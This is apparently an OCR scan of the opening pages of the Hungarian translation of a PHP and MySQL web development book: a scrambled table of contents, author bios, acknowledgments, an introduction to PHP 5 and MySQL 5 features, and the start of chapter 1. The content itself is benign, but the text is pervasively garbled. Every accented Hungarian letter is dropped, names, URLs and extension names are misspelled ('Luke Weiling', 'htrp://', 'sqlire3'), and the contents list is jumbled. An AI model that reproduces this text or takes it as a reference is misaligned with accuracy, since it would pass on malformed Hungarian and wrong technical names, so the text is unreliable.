A projekt kdjnak teleptse

597

Az Apache, a PHP s a MySQL teleptse Unix alatt

621

A projekt tovbbfejlesztse

598

Binris fjlok teleptse

622

Tovbbi olvasnival

598

Forrs teleptse

622

A httpd. conf fjl: kddarabok

626

34. fejezet

A PHP tmogats is mkdik?

626

Web 2.0-s alkalmazsok fejlesztse

Az SSL mkdik?

627

Ajax-programozssal

599

Az Apache, a PHP s a MySQL teleptse Windows


alatt

628

Mi az Ajax?

599

HTTP krsek s vlaszok

600

A MySQL teleptse Windows alatt

628

DHTML sX HTML

600

Az Apache teleptse Windows alatt

629

Cascading Style Sheets (CSS)

601

A PHP teleptse Windows alatt

630

Kliensoldali programozs

601

A PEAR teleptse

631

Szerveroldali programozs

602

Egyb konfigurcik belltsa

632

XML sX SLT

602

Ajax alapok

602

B fggelk

Az XMLHTTPRequest objektum

602

Webes forrsok

633

Kommunikci a szerverrel

604

Forrsok a PHP-rl

633

A kiszolgl vlasznak feldolgozsa

605

MySQL-lel s SQL-lel foglalkoz forrsok

634

Tegyk ssze az egszet!

606

Forrsok az Apache-rl

634

Ajax elemek hozzadsa korbbi projektjeinkhez

609

Webfejleszts

635

Tartalom

Szerzk
Laura Thomson vezet szoftvermrnk a Mozilla CorporationnL Korbban az OmniTI

s a Tangled Web Design egyik

vezetjeknt tevkenykedett. Rendszeresen dolgozik egytt az RMI T Universiry-vel s a Boston Consuleing GrouppaLAl
kalmazorc tudomnyokbl (informatika), illerve informatikai mrnki terleten szerzere egyetemi diplomt. Szabadidejben
szvesen lovagol, rvel az ingyenes s nylt forrskd szoftverek mellett, s nagyon szeret aludni.

Luke Weiling webes fejleszt az OmniTI-nLA nylt forrskd s webes fejlesztsekkel foglalkoz konferencik, gy egye
bek kzte az OSCON, a ZendCon, a MySQLUC, a PHPCon, az OSDC s a LinuxTag rendszeres eladja.Az OmniTI
eltt a webes anatikval foglalkoz Hicwise.com-nl, az adatbzis-fejleszt MySQL AB-nl, illetve fggetlen tancsadknt a
Tangled Web Designnl dolgozort.Alkalmazott tudomnyok (informatika) diplomt szerzerc, s informatikt oktatott a Mel
bourne-i RMI T Universiry-n. Szabadidejben az lmadansgt prblja meg tklyre fejleszteni.

Trsszerzk
Julie C. Meloni a Los Altos-i (Kalifornia) szkhely i2i I nteractive (www.i2ii.com) multimdis vllalat mszaki igazgatja.
Az internet megszletse ta fejleszt webalap alkalmazsokat, s soha nem fogja elfelejteni az els grafikus kezelfellet
bngszt vez izgalmakat. Szmos knyvec s cikket rt a webalap programozsi nyelvek s az adatbzisok tmakrben,
amelyek kzl rdemes megemliteni a Sams Teach Yourself PHP. MySQL, and Apache Ali in One cm kiadvnyt.

Adam DeFields webes alkalmazsfejlesztsre s projektmenedzsmentre szakosodott tancsad.A Michigan llambeli


Grand Rapidsben l, ahol 2002-ben alaptott sajt cgt irnytja (Emanation Syscems, LLC - www.emanationsyscemsllc.
com). Szmtalan, klnbz technolgira pt webfejlesztsi projekeben rszt vere, de leginkbb a PHP /MySQL alap fej
lesztsi munkkat kedveli.

Marc Wandschneider szabadsz fejleszt, szerz s elad, aki a vilg szmtalan klnbz pontjn dolgozott mr rdekes
projektekben. Utbbi vekben idejnek nagy rszt arra fordtja, hogy robusztus s sklzhat webes alkalmazsokat fejlesszen.
2005-ben rta Core Web Application Programming with PHP and MySQL cm knyvt. Korbban a SWiK (http:/ /swik.net) nylt
forrs kzssgi oldal vezet fejlesztje volt. Marc jelenleg Pekingben l, ahol a knai nyelvet tri, s programoz.

Ksznetnyilvnts
Szeretnnk ksznetet mondani a Pearson csapatnak kemny munkjrt. Kln ksznjk Shelley Johnstonnak, akinek
ldozatvllalsa s trelme nlkl a knyv els hrom kiadsa nem szlethecett volna meg. s Mark Tabernek, aki a negyedik
kiadsnl tvette Shelley munkjt.
Nagyra rtkeljk a PHP- s MySQL-fejleszti csapatok ltal vgzere munkt. Sok ve knnycik meg a dolgunkat, s gy
lesz ez a jvben is rninden nap.
Ksznjk az eSec-nl dolgoz Adrian Close-nak, arnirt mg 1998-ban azt mondta:.,Ezt meg tudjtok csinlni PHP-ben:'
gy vlte, szeremi fogjuk a PHP-t, s azt kell mondanunk, igaza lett.
Vgezetl szeretnnk ksznetet mondani csaldunknak s bartainknak, akik elviselik antiszocilis viselkedsnket, amg
knyveinken dolgozunk. Kln ksznjk Nektek, hogy segtetek csaldtagjainknak: Julie, Robert, Martin, Lesley, Adam,
Paul, Archer s Barton.

A magyar kiadshoz
A knyv pldinak forrskdja s a mellklecek letlthetk regisztrci utn a www.perfacrkiado.hu/melleklecek oldalrl.
A knyvben hasznlt, jelenleg ingyenes szoftverek szintn letlthetek weboldalunkrl (www.perfacckiado.hu/melleklecek).
rdemes azonban az interneten megkeresni ezen szoftverek frisstseit, jabb verziit s azokat hasznlni.

XIII

Segovia vzvezetke a rmai ptszet egyik legnagyszerbb, a mai napig meglv memlke. Traianus csszr uralkodsa alatt,
az idszmtsunk szerinti els szzadban plt vezetk feladata az volt, hogy vizet szlltson a ma Sierra de Guadarrama n
ven ismert hegy lbtl az onnan mintegy 18 kilomter tvolsgra lv hispniai vrosba, Segoviba.
Az ptmnyt tbb mint hszezer, kzzel vgort grnittmbbl emeltk, s sem cementet, sem kapcsokat nem hasznltak a
tmbk rgztsre. A vzvezetknek a vros kzppontjn thalad, 278 mrer hossz szakasza duplasoros boltvekkel rendel
kezik, amelyek a fldtl 34 mrer magasan futva elegns kpet klcsnznek az urcknak.
A termszet s az ember okozta viszontagsgoknak krezer ve ellenll ptmny az emberi gyessg idrlen pldja: a mai
napig hozzjrul a vros vzellrshoz.

Bevezets

Kszntjk a PHP s

MYSQL webfejlesztknek cm kiadvnyunk olvasit! Knyvnk oldalaiba igyekeztnk belesrteni

a PHP s a MySQL- napjaink kt legelterjedtebb webfejleszt eszkznek- hasznlata sorn szerzett minden tudsunkat.
A bevezetsben az albbiakrl lesz sz:
Mirt rdemes elolvasni a knyvet?
Mire lesznk kpesek a knyv segtsgve!?
Mi a PHP s a MySQL,s mirt olyan nagyszerek?
Mi vltozott a PHP s a MySQL legutols verziiban?
Hogyan pl fel a knyv?
Vgjunk bele!

Mirt rdemes elolvasni a knyvete


Knyvnk megranrja, hogyan hozzunk ltre interaktv weboldalakat - legyen az a legegyszerbb rendelsi rlap vagy ssze
tett, biztonsgos e-kereskedelmi portl,esetleg interaktv Web 2.0-s oldal. Radsul rnindezt nylt forrskd technolgik
hasznlatval tanuljuk meg ellltani.
A knyv azon olvasknak szl, akik legalbb a HTML alapjaival tisztban vannak,s korbban legalbb alapsznten prog
ramoztak valamilyen modern programozsi nyelvben - mg ha az nem is felttlenl internetes programozs volt-,vagy dol
goztak mr relcis adatbzissal. Kezd programozk is minden bizonnyal hasznosnak fogjk tallni a ktetet, de nekik kicsit
tovbb tarthat az itt lertak megemsztse. Megprbltunk egyetlen alapfogalmat sem kihagyni,m viszonylag gyorsan vesszk
t ket. A knyv azokat clozza meg, akik sszetett vagy zleti weboldal ltrehozsa szndkval kivnjk magas szinten elsa
jttani a PHP-t s a MySQL-t. Amennyiben dolgoztunk mr ms webfejleszt nyelvvel,akkor a ktet olvassa sorn gyorsan
kpbe kerlhetnk.
A knyv els kiadst annak idejn azrt rtuk meg,mert elegnk volt abbl,hogy csak olyan PHP knyveket talltunk,
amelyek fggvnyek referenciagyjtemnyeknt szolgltak. Az ilyen kiadvnyok is hasznosak,m nem sokat segtenek,amikor
a fnk vagy az gyfl azt kri,hogy .. kszts nekem bevsrlkosaras online boltot': Ebben a knyvben minden tlnk telhett
megrettnk, hogy hasznos pldkkal lljunk el. Szmtalan kd kszen ll arra, hogy az olvas sajt weboldaln azonnal alkal
mazza azokat,rnig a tbbi aprbb mdostsok utn lesz hasznlhat.

Mit tanulhatunk a knyvbH


Ha elolvassuk,kpesek lesznk valban dinamikus weboldalakat pteni. Ha ksztettnk mr honlapokat egyszer HTML
hasznlatval, minden bizonnyal beletkztnk mr ennek a megkzeltsnek a korltaival. A tisztn HTML weboldal stati
kus tartalma pontosan ilyen - statikus. Amg fizikailag nem frissrjk,ugyanaz marad. Ltogati semmilyen interaktv mdon
nem lphernek kapcsolatba az oldallal. Ha olyan nyelvet s adatbzist hasznlunk, mint a PHP, illerve a MySQL, dinamikuss,
vagyis testre szabhatv s vals idej informcikban gazdagg tehetjk oldalainkat.
A knyvben szndkosan hasznlunk - mg az alapoz fejezetekben is- a val vilgbl vett alkalmazsokat. Kezdskppen
rteleintnk egy egyszer online rendelsi rendszert, s trgjuk magunkat a PHP s a MySQL klnbz terletein.
Ezt kveten klnbz szempontok szerint megvizsgljuk az elektronikus kereskedelmet s ehhez kapcsoldan a bizton
sgot, illerve azt, hogy miknt jnnek ezek el valdi weboldal elksztsekor. Azt is megmutatjuk,hogyan lehet az itt megfo
galmazott elvrsokat PHP-ben s MySQL-ben megvalstani.
A knyv utols rszben ttekintjk, hogyan rdemes kzelreni az igazi projektekhez,s vgigmegynk az albb felsorolt
projektek elksztsi, tervezsi s megvalsrsi szakaszn:
Felhasznlk hitelestse s szemlyre szabott tartalom a hitelests alapjn
Bevsrlkosaras online bolt

B evezets

Webalap levelezalkalmazs
Levelezlista-kezelk
Online frumok
PDF dokumentumok ellltsa
Webszolgltatsok XML-lel s SOAP-pal
Web 2.0-s alkalmazs ltrehozsa Ajaxszal
Ezen projektek rnindegyike a knyvben megtallhat llapotban is mkdik, de termszetesen egyni ignyeinknek meg
felelen mdosthatk. Azrt ezekre esett a vlasztsunk, mert meglrsunk szerint ezek tartoznak a programozk ltal leg
gyakrabban fejlesztert webes alkalmazsok kz. A knyv ugyanakkor ezektl eltr ignyek esetn is nagy segtsget jelenther
cljaink elrsben.

MiaPHP
A PHP kifejezetten az internetre kifejlesztett, szerveroldali szkriptnyelv. A HTML oldalakba az oldal minden egyes megnyi
tsakor lefut PHP kdot gyazhatunk. A PHP kd rtelmezse a webszerveren trtnik, ami a ltogat ltal megtekinthet
HTML-t vagy egyb kimenetet hoz ltre.
A PHP els verzija 1994-ben kszlt el, s eredetileg egyetlen ember, Rasmus Lerdorf munkja volt. Ms tehetsges
emberek is elkezdtek dolgozni vele, s ngy jelents jrarson ment keresztl, amg elrkeztnk a jelenleg szles krben hasz
nlhat, rett termkhez. 2007. jliusi adatok szerint vilgszerte tbb mint 21 milli domanre teleptertk, s ez a szm igen
gyorsan n. (A PHP terjedsnek aktulis llst a http://www.php.net/usage.php oldalon tekinthetjk meg.)
A PHP nylt forrskd projekt, ami azt jelenti, hogy brki hozzfrher a forrskdhoz, s ingyenesen hasznlhatja, mdo
sthatja, illetve terjesztheti azt.
A PHP erederileg a Personal Home Page (szemlyes honlap) rvidtse volt, de a GNU rekurzv rvidtsnek (GNU=
Gnu's Not Unix, azaz a Gnu nem Unix) elfogadsval egytt ez is megvlrozort, s most a PHP Hypertext Preprocessor (PHP
hiperszveg elfeldolgoz) kifejezs rvidtst jelenti.
A PHP jelenlegi f vltozata az 5-s. Ezt a verzit a nyelv mgtt ll virtulis gp, a Zend motor teljes jrarsa, illetve
a nyelv nhny jelents javtsa jellemzi.
A PHP honlapja a htrp://www.php.net cmen rhet el.
A Zend Technologies weboldala a http://www.zend.com.

MiaMySQU
A MySQL egy nagyon gyors, srabil, relcis adatbzis-kezel rendszer (angol rvidtssel RDBMS). Az adatbzis lehetv
teszi az adatok hatkony trolst, keresst, rendezst s kinyerst. A MySQL kiszolgl az adatokhoz val hozzfrst
szablyozva biztostja, hogy egyidejleg tbben is hasznlhassk az adatokat, gyorsabb hozzfrst knl hozzjuk, s garan
tlja, hogy csak a jogosult Felhasznlk szerezhetnek hozzfrst. Ezrt a MySQL rbbfelhasznls, tbbszl kiszolgl.
Strukturlt lekrdez nyelvet (Structured Query Language- SQL), a szabvnyos adatbzis-lekrdez nyelvet hasznlja.

A MySQL 1996 ta elrhet a nyilvnossg szmra, de fejlesztsi trtnete 1979-ig nylik vissza. A vilg legnpszerbb
nylt forrskd adatbzisa, amely szmtalan alkalommal elnyerte a Linux Journal szaklap "Readers' Choice Award" -jt (Ol
vasink vlasztsa djt).
A MySQL ketts licencelsi rendszerben rhet el. Amennyiben elfogadjuk a nylt forrskd licenc (a GPL) feltteleit, ingye
nesen hasznlhatjuk. Ha MySQL-t tartalmaz nem GPL alkalmazst kvnunk terjeszteni, fizets licencet kell vsrolnunk.
A MySQL honlapja a http://mysql.com cmen rhet el.

Mirt hasznljunk PHPt s MySQLt


Ha weboldalfejlesztsre adjuk a fejnket, szmralan termk kzl vlaszthatunk Az albbi kategrikban kell dntst hoznunk:
A webszervert futtat hardver
Opercis rendszer
A webszerver szoftvere
Adatbzis-kezel rendszer
Programozsi vagy szkriptnyelv
Az egyes vlasztsok sszefgghetnek egymssal. Pldul nem mindegyik opercis rendszer fut brmilyen hardveren, nem
rninden webszerver tmogatja az sszes programozsi nyelvet stb.

Bevezets

Ebben a knyvben alig foglalkozunk a hardverrel, az opercis rendszerekkel vagy a webszerver szaftverveL Nincs r szk
sgnk. A PHP s a MySQL egyik legnagyszerbb tulajdonsga, hogy minden f opercis rendszeren, st a kisebbek kzl is
sok rendszeren hasznlhat.
A PHP kdok nagy rsze megrhat gy, hogy opercis rendszerektl s webszerverektl fggetlenl futtathat legyen.
Egyes PHP fggvnyek az opercis rendszertl fgg fjlrendszerhez ktdnek, m ezeket egyrtelmen megjellik a kzi
knyvekben, s mi is jelezzk, amikor ilyennel dolgozunk.
Akrmilyen hardvert, opercis rendszert s webszervert vlasszunk is, szeriotnk mindenkppen rdemes a PHP s
a MySQL mellett dnteni.

A PHP legfbb erssgei


A PHP elsdleges versenytrsai a Perl, a Microsoft ASP.NET, a Ruby (Rails keretrendszeren vagy msknt), aJavaServer
Pages (JSP) s a ColdFusion.
Ezekkel sszehasonlrva a PHP-nak szmos erssge van, amelyek kzl a legfontosabbak:
Teljestmny
Sklzhatsg
Csatlakozsi lehetsg (interfsz) szmtalan klnbz adatbzisrendszerhez
Beptett knyvtrak a leggyakoribb webes feladatokhoz
Alacsony kltsg
Egyszer elsajtthatsg s hasznlhatsg
Objektumorientlt programozs szles kr tmogatsa
Hordozhatsg (platformfggetlensg)
A fejleszti megkzelts rugalmassga
Hozzfrhet forrskd
Hozzfrhet tmogats s dokumentci
Fejtsk ki ezeket az erssgeket kicsit bvebben is!

Teljestmny

A PHP nagyon gyors. Mg egyszer, olcs szervert hasznlva is tbb milli letltse szolglhatunk ki naponta. A Zend Technolo
gies (http://www.zend.com) ltal publiklt sszehasonlt adatok alapjn a PHP nagyobb teljestmnyre kpes versenytrsainl.

Sklzhatsg

A PHP-Rasmus Lerdorf szavaival lve-.,megosztott elem nlkli" (shared-nothing) archicektrval rendelkezik. Ez azt
jelenti, hogy hatkonyarr s olcsn, akr belp szint szerverekkel is lehet horizontlisan bvteni.

Adatbzis-integrci

A PHP szmos adatbzisrendszerhez tud natv mdon kapcsoldni. A MySQL-en tlmenen kzvetlenl kapcsoldhatunk
egyebek kztt PostgreSQL, Oracle, dbm, FilePro, DB2, Hyperwave, lnformix, lnterBase s Sybase adatbzisokhoz. A PHP
5-s verzija SQLite nev, beptett SQL fellettel rendelkezik az egyszer fjlokhoz.
Open Database Connectivity Standard (ODBC), vagyis nylt adatbzis-kapcsols hasznlatval brmilyen, ODBC driverrel
rendelkez adatbzishoz kapcsoldhatunk. Sok egyb mellett a Microsoft-termkek tartoznak ide.
A PHP-hoz a natv knyvtrak mellett PHP Database Objects (PDO), azaz egy PHP adatbzis-objektumok nev adatbzis
absztrakcis rteg is tartozik, amely kvetkezetes hozzfrst tesz lehetv, s elsegti a biztonsgos programozsi megoldsok
hasznlatt.

Beptett knyvtrak

Mivel a PHP-t interneten val hasznlatta alaktottk ki, szmtalan beptett fggvnnyel rendelkezik a klnfle, internettel
kapcsolatos feladatok elvgzsre. Mindssze nhny sornyi kdra van szksg ahhoz, hogy menet kzben lltsunk el kpeket,
webes vagy egyb hlzati szolgltatsokhoz kapcsol<ljunk, XML-t rtelmezznk, e-mailt kldjnk, stikkel (cookie-kkal)
dolgozzunk, vagy PDF dokumeorumokat hozzunk ltre.

Bevezets

Kltsg
A PHP ingyenes. Legfrissebb vltozata brmikor letlthet a http:/ /www.php.net oldalrl.

Egyszer megtanulhatsg
A PHP szintaktikja ms programozsi nyelvekre, elsdlegesen a C-re s a Perire pl. Ha mr ismerjk ezeket vagy olyan
C-szer nyelveket, mint a C++ vagy a Java, akkor szinte azonnal eredmnyesen tudjuk hasznlni a PHP-t is.

Objektumorientlt programozs tmogatsa


A PHP 5-s verzija jl kialaktott objektumorientlt fUnkcikkal rendelkezik. Aki tanult mr Javban vagy C++-ban progra
mozni, a vrt fUnkcikkal (s ltalban a vrt szintaktikval) fog tallkozni. Pldul rklsset privt s vdett tulajdonsgok
kal s metdusokkal, absztrakt osztlyokkal s metdusokkal, interfszekket konstruktorokkal s destruktorokkal. Nhny
kevsb gyakori fUnkcit is tallunk, ide sorolhatjuk pldul az itertorokat. Mindezek egy rsze mr a PHP 3-as s 4-es verzi
jban is elrhet volt, de az 5-s vltozatban sokkal teljesebb lett az objektumorientlt tmogats.

Hordozhatsg (platformfggetlensg)
A PHP szmtalan opercis rendszeren elrhet. PHP kdot rhatunk olyan ingyenes Unix-szer opercis rendszerekre,
mint a Linux s a FreeBSD, fizets Unix-vltozatokra-pldul Solaris s IRIX rendszerekre-, OS X-re vagy a Microsoft
Windows klnbz vltozataira.
A jl megtt kdok jellemzen mdosts nlkl mkdnek a PHP-t fUttat klnbz rendszereken.

fejleszti megkzelts rugalmassga

A PHP lehetv teszi az egyszer feladatok egyszer megvalstst. De ugyanilyen knnyen szolglja nagy alkalmazsok
olyan megvalsrst is, amely tervezsi mintkra - pldul Model-View-Controller (MVC) mintra- pl keretrendszer
hasznlatval trtnik.

Forrskd
A PHP forrskdja hozzfrhet. A fizets, zrt forrskd termkekkel ellenttben, ha szeretnnk mdostani valamit
a PHP-n, vagy hozzadnnk valamit a nyelvhez, nyugodtan megtehetjk. Nem kell vrnunk, mg a gyrt megjelenteti a javt
sokat. Attl sem kell tartani, hogy a gyrt felhagy az zlettel, vagy gy dnt, abbahagyja a termk tmogatst.

Tmogats s dokumentci elrhetsge


A PHP-t mkdtet motor mgtt ll cg, a Zend Technologies {www.zend.com) a kereskedelmi alapon knlt tmogatsbl
s kapcsold szoftverekbl fedezi a PHP fejlesztseit. A PHP-dokumentci s -kzssg rett s gazdag informciforrs,
amely rengeteg, megosztsta vr tartalommal br.

Melyek a PHP 5 jdonsgai


A felhasznJk tbbsge minden bizonnyal nemrgiben vltott a PHP valamelyik 4.x verzijrl PHP 5-re. Ahogy egy j
fverzitl elvrhat, ez is jelents vltozsokat tartalmaz. A PHP mgtt ll Zend motort rtk ehhez a verzihoz. A leg
fontosabb j jellemzk a kvetkezk:
Teljesen j objektummodell kr ptett, tovbbfejlesztett objektumorientlt tmogats (lsd az Objektumorientlt PHP
cm 6. fejezetet!)
Kivtelek a sklzhat, fenntarthat hibakezelshez { lsd a Hiba- s kivtelkezels cm 7. fejezetet!)
SimpleXML az XML adatok knny kezelhetsgrt (lsd a Kapcsolds webszolgltatsokhoz XML s SOAP haszn
latval cm 33. fejezetet!)

A tovbbi vltoztatsok kz tartozik egyes kiterjesztsek thelyezse az alaprtelmezett PHP-teleptsbl a PECL knyv
trba, az adatfolyamok jobb tmogatsa s az SQLite hozzadsa.

Bevezets

A knyv rsakor a PHP 5.2-es volt a legjabb vltozat, de mr kzelgett a PHP 5.3. A PHP 5.2 szmos hasznos j funkci
val rendelkezett:
Bizronsgi clokra hasznlhat j beviteli szr

JSON kirerjeszts a JavaScript interoperabilitsrt


Fjlfeltltsi folyamat nyomon kvetse

Jobb dtum- s idkezels


Szmos frisstett kliensknyvtr, teljestmnyfejleszrsek (pl. jobb memriakezels a Zend motorban) s hibajavtsok

A PHP 5.3

fbb jellemi

Olvashatrunk mr a PHP j fvltozatrl, a PHP 6-rl is. A knyv rsa idejn ez mg nem volt a megjelens kzelben, s
a hosting szolgltatk mg j ideig biztosan nem fogjk tmeges hasznlat cljbl telepteni. Ugyanakkor a PHP 6-os verzi
jba tervezett szmos funkci megtallhat a PHP 5.3-as verzijban is, amely alverzi kzelebb ll az elfogadshoz, s gy
ahhoz is, hogy a hosting szolglratk telepteni kezdjk (ha mi magunk kezeljk a szervernket, akkor termszetesen brme
lyik neknk tetsz verzit relepthetjk).
A kvetkezkben a PHP 5.3 funkcii kzl sorolunk fel nhnyat; a knyv megfelel oldalain tovbbi informcit tallunk
majd velk kapcsolatban:
Nvterek tmogatsa; tovbbi informcirt lsd: http://www. php.net/language.namespaces
Az ind kiterjeszts tmogatsa az alkalmazsok nemzetkziestshez; tovbbi informcirt lsd: http://www.php.net/
manual/ en/intro.ind.php
A phar kirerjeszts tmogatsa beptett PHP tmrt alkalmazs ltrehozsra; tovbbi informcirt lsd: hrtp:/l
www.php.net/book.phar
A lileinfo kiterjeszts tmogatsa a jobb fjlkezels rdekben; tovbbi informcirt lsd: http://www.php.net/manual/
en/book.lileinfo.php
A sqlire3 kirerjeszts tmogatsa a SQLite begyazhat SQL adatbzismoror hasznlathoz; tovbbi informcirt
lsd: http://www.php.net/ manual/en/class.sqlire3.php
A libmysql-t felvlt MySQLnd driver tmogatsa; tovbbi informci: http://forge.mysql.com/wiki/PHP_MYSQLND
A fenti lista a PHP 5.3 szlesebb krben ismert j funkciit tartalmazza, ugyanakkor a verzi a mr korbban is meglv
funkcikon vgzett szmos hibajavtssal, karbantartssal, frisstssei is bszklkedhet:
A Windows 2000-nl rgebbi Windows-verzik (pldul Windows 98 and NT 4) tmogatsnak megszntetse
A PCRE, Reflection s SPL kiterjeszts lland elrhetsgnek biztostsa
A dtumokkal val szmolst s a dtumkezelst megknnyt dtum- s idfggvnyek hozzadsa
A crypt(), hash() s md5() funkci mkdsnek, illetve az OpenSSL kirerjesztsnek a tovbbfejlesztse
A php.ini adminisztrlsnak s kezelsnek fejlesztse, egyebek kzte jobb hibajelentsekkel
A Zend motor finomhangolsnak folytatsa a gyorsabb PHP-futsi sebessg s memriahasznlar rdekben

MySQL legfbb erssgei

A MySQL elsdleges versenytrsai a PostgreSQL, a Microsofr SQL Server s az Oracle.


A MySQL szmos erssggel br, kzrk a kvetkezkkel:
Nagy teljestmny
Alacsony kltsg
Egyszer kanfigurlhatsg s elsajtthatsg
Hordozhatsg (plarformfggetlensg)
Forrskd elrhetsge
Tmogars elrhetsge
Tekintsk t most ezeket az erssgeket kicsit rszleresebben is!

Teljestmny
A MySQL vitathatatlanul gyors. A fejlesztk benchmark- azaz viszonyrsi rtkeket mutat- oldalt a http://mysql.com/
why-mysql/benchmarks cmen rhetjk el. Az rtkek nagy rsze azt mutatja, hogy a MySQL nagysgrendekkel gyorsabb
versenyrrsainl. 2002-ben az eWeek ugyanazt a webes alkalmazst hasznlva sszehasonltott t adatbzist. Az eredmny
dntetlen lett a MySQL s a nla sokkal drgbb Oracle kztt.

Bevezers

Alacsony kltsg
A MySQL nylt forrskd licenccel ingyenesen, kereskedelmi licenccel pedig alacsony ron hasznlhat. Amennyiben
a MySQL-r valamely alkalmazs rszeknt s nem Open Source licenccel szeretnnk terjeszteni, akkor fizets licencre van
szksgnk.Ha nem kvnjuk alkalmazsunkat terjeszteni - s a webes alkalmazsok tbbsgvel ez a helyzet -, illetleg in
gyenes vagy nylt forrskd szoftveren dolgozunk, nem szksges licencet vsrolnunk.

Egyszer hasznlhatsg
A legtbb modern adatbzis SQL-t hasznl. Ha dolgozrunk mr ms relcis adatbzis-kezel rendszerrel, akkor nem fog
gondot okozni, hogy hozzszokjunk a MySQL-hez, amely radsul a tbbi hasonl termknl egyszerbben bellthat.

Hordozhatsg (platformfggetlensg)
A MySQL szmtalan klnbz Unix-rendszeren, illetve Microsoft Windows alatt is hasznlhat.

Forrskd
Akrcsak a PHP, a MySQL forrskdja is beszerezhet s mdosthat. Ez ugyan a felhasznlk tbbsgnek ltalban nem
szempont, a tudat mgis megnyugtat, mert garantlja a folytonossgot, s vszhelyzet esetn van hova nylni.

Tmogats elrhetsge
Nem minden nylt forrskd termkhez tartozik olyan anyavllalat, amely tmogatst, kpzseket, tancsadst s minstse
ket ad, m a MySQL AB (www.mysql.com) mindezr az elnyt knlja a felhasznlk szmra.

Melyek a MySQL 5 jdonsgai


A MySQL 5-ben megjelent fbb vltoztatsok:
Nzetek
Trolt eljrsok (lsd a

Halad MySQL programozs cm 13. fejezetet!)

Adatbzisok alapszint finomhangolsi lehetsgeinek tmogatsa


Rekordmutat-kezels
A tovbbi vltozsok kz tartozik az ANSI szabvnynak val jobb megfelels s a futsi sebessg nvekedse. Amennyiben
az olvas MySQL szerver egy korai 4.x verzijt vagy valamely 3.x verzijt hasznlja, rdemes tudni, hogy a 4.0-tl kezdve az
albbi funkcikkal egsztettk ki a termket:
Egymsba gyazott lekrdezsek tmogatsa
GIS tpusok a fldrajzi adatok tmogatsra
Nemzetkziests jobb tmogatsa
A tranzakcibiztos InnoDB trolmotor alaprtelmezetren elrhet
A MySQL lekrdezsi gyorstmernria (query cache) jelentsen nveli a webes alkalmazsok ltal gyakran futtatott,
ismtld lekrdezsek sebessgt
A knyver a MySQL 5.1-es (Beta Community Edition) verzijt hasznlva rtuk. Ez a vltozat mr az albbiak tmogatst
is tartalmazza:
P artcionls
Soralap replikci
Esemnytemezs
Naplzs tblzatokba
A MySQL Cluster (az adatbzis adatait tartalmaz ler) s a biztonsgi ments folyamatainak fejlesztsei, illetve sz
mos hib;yavts

Bevezets

Hogyan pl fel a knyv:


t nagy rszbl ll:
Az els rsz, A PHP hasznlata pldkon keresztl mutatja be a PHP programozsi nyelv legfontosabb alkotelemeit.
Minden plda a val vilgbl, egy e-kereskedelmi oldal ltrehozsbl szrmazik, nem pedig"jtk" kd. Ez a rsz a PHP
gyorstalpal cm fejezettel indul. Aki korbban is hasznlt mr PHP-t, annak elg gyorsan tfueni ezt a fejezetet. Kezd PHP
felhasznlknak vagy programozknak azonban rdemes kicsivel tbb idt sznni r. Ha elg jl ismerjk mr a PHP-t, de
nem hasznltuk mg az 5-s verzijt, hasznosnak talljuk majd a hatodik, Objektumorientlt PHP cm fejezetet is, mert az
objektumorientlt funkcik jelentsen megvltoztak ebben a verziban.
A msodik rsz, A MySQL hasznlata a MySQL s a hozz hasonl relcis adatbzisrendszerek hasznlata sorn elfor
dul fogalmakat, az SQL hasznlatr, a MySQL adatbzisunkhoz val csatlakozs menett, illetve olyan halad MySQL-es
tmkat mucat be, mint a biztonsg s az optimalizls.
Az E-kereskedelem s biztonsg cm, harmadik rszben a webfejleszts brmely programozsi nyelvnl eljv ltalnos
krdseivel foglalkozunk. A legfontosabb ilyen tma a biztonsg. Ezt kveten ttekintjk, hogyan hasznljuk a PHP-t s
a MySQL-t felhasznlink hitelestsre, illetve biztonsgos adatgyjtsre, -tovbbtsra s -trolsra.
A negyedik, Halad PHP mdszerek cm rszben rszletesebben megtrgyaljuk a PHP fbb beptett fggvnyeit. Olyan
fggvnycsoportokat vlogattunk ssze, amelyeket weboldalak ltrehozshoz a leghasznosabbnak vltnk. Egyebek kzte
a szerver s a hlzat elrsrl, kpalkotsrl, drum- s idkezelsrl, illetve a munkamener (session) -vlcozkrl olvasha
runk itt.
Kedvenc rsznk az tdik, a Gyakorlati PHP s MySQL projektek fejlesztse cm. A val vilgbl vett gyakorlati krdsekkel
foglalkozik, mint pldul a nagy projektek kezelse vagy a hibakeress, illetve olyan mintaprojekteket mutat be, amelyek a PHP
s a MySQL erejt s sokoldalsgt tmasztjk al.

Vgezetl
Remljk, a Kedves Olvas legalbb annyira lvezni fogja a knyvet, illetve a PHP s a MySQL elsajttst, rnint amennyire
a szerzk, amikor elkezdtk hasznlni ezeket a termkeket. Hasznlatuk tnyleg rm. Rvidesen az olvas is csatlakozhar
a tbb ezer webfejleszrhz, aki ezekkel a srabil s hatkony eszkzkkel pt dinamikus, napraksz informcikar tartalmaz
weboldalakar.

Kedves Olvas!
Szecernnk megksznni, hogy kiadvnyunkat vlasztotta a PHP s a MySQL megismershez. A knyvben szerepl pldk
hoz tartoz forrskdokat s mellklereker regisztrci urn letltheti a www.perfactkiado.hu/melleklerek oldalrl. A knyv
ben hasznlt, jelenleg ingyenes szofrverek szintn letlthetek weboldalunkrL rdemes azonban az interneten megkeresni
ezen szofrverek frissrseir, jabb verziit s azokar hasznlni.
A kiad, a fordt s a szakmai lektor

I
A PHP hasznlata

PHP gyorstalpal

Adatok trolsa s visszakeresse

Tombk hasznlata

Karakterlncok kezelse s regulris kifejezsek

Kd tbbszri felhasznlsa s fggvnyrs

Objektumorientlt PHP

Hiba, s kivtelkezels

l
PHP gyorstalpal
A fejezet rviden ttekinti a PHP szintaktikjt s nyelvi alkotelemeit. PHP-ben mr programoz olvasinknak is rdemes
tfutni, mett alkalmas lehet a tudsukban lv fehr foltok eltntetsre. Ha jrtasak vagyunk a C, a Perl Active Server Pages
(ASP) vagy egyb programozsi nyelvben, akkor a fejezetben lertak segtsgvel gyorsan kpbe kerlhetnk a PHP-t illeten is.
A knyvben a vals letbl szrmaz, a szerzk igazi weboldalak ltrehozsa sorn szerzert tapasztalatai alapjn sszell
tott pldkan vggmenve fogjuk elsajttani a PHP hasznlatr. A programozsi szakknyvek igen gyakran nagyon egyszer
pldkan keresztl tantjk meg az alapvet szintaktikt. gy dntttnk, hogy ms utat vlasztunk. Az olvasknak azt kell
megrtenik, hogyan mkdik a nyelv, nem a szintaktikt s a fiiggvnyeket felsorol jabb referenciaknyvre van szksgk,
ami semmivel sem tud tbbet, mint az online kziknyv.
